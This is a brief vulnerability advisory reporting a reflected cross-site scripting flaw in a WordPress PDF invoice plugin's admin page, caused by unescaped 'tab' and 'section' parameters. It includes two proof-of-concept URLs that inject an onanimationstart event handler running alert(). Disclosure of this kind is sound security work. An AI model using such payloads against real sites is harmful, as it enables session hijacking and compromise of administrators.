The plugin does not escape the tab and section parameters before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting in the admin dashboard
https://example.com/wp-admin/admin.php?page=wpo_wcpdf_options_page&section;="+style%3Danimation-name%3Arotation+onanimationstart%3Dalert(/XSS/)+x%3D https://example.com/wp-admin/admin.php?page=wpo_wcpdf_options_page&tab;="+style%3Danimation-name%3Arotation+onanimationstart%3Dalert(/XSS/)+x%3D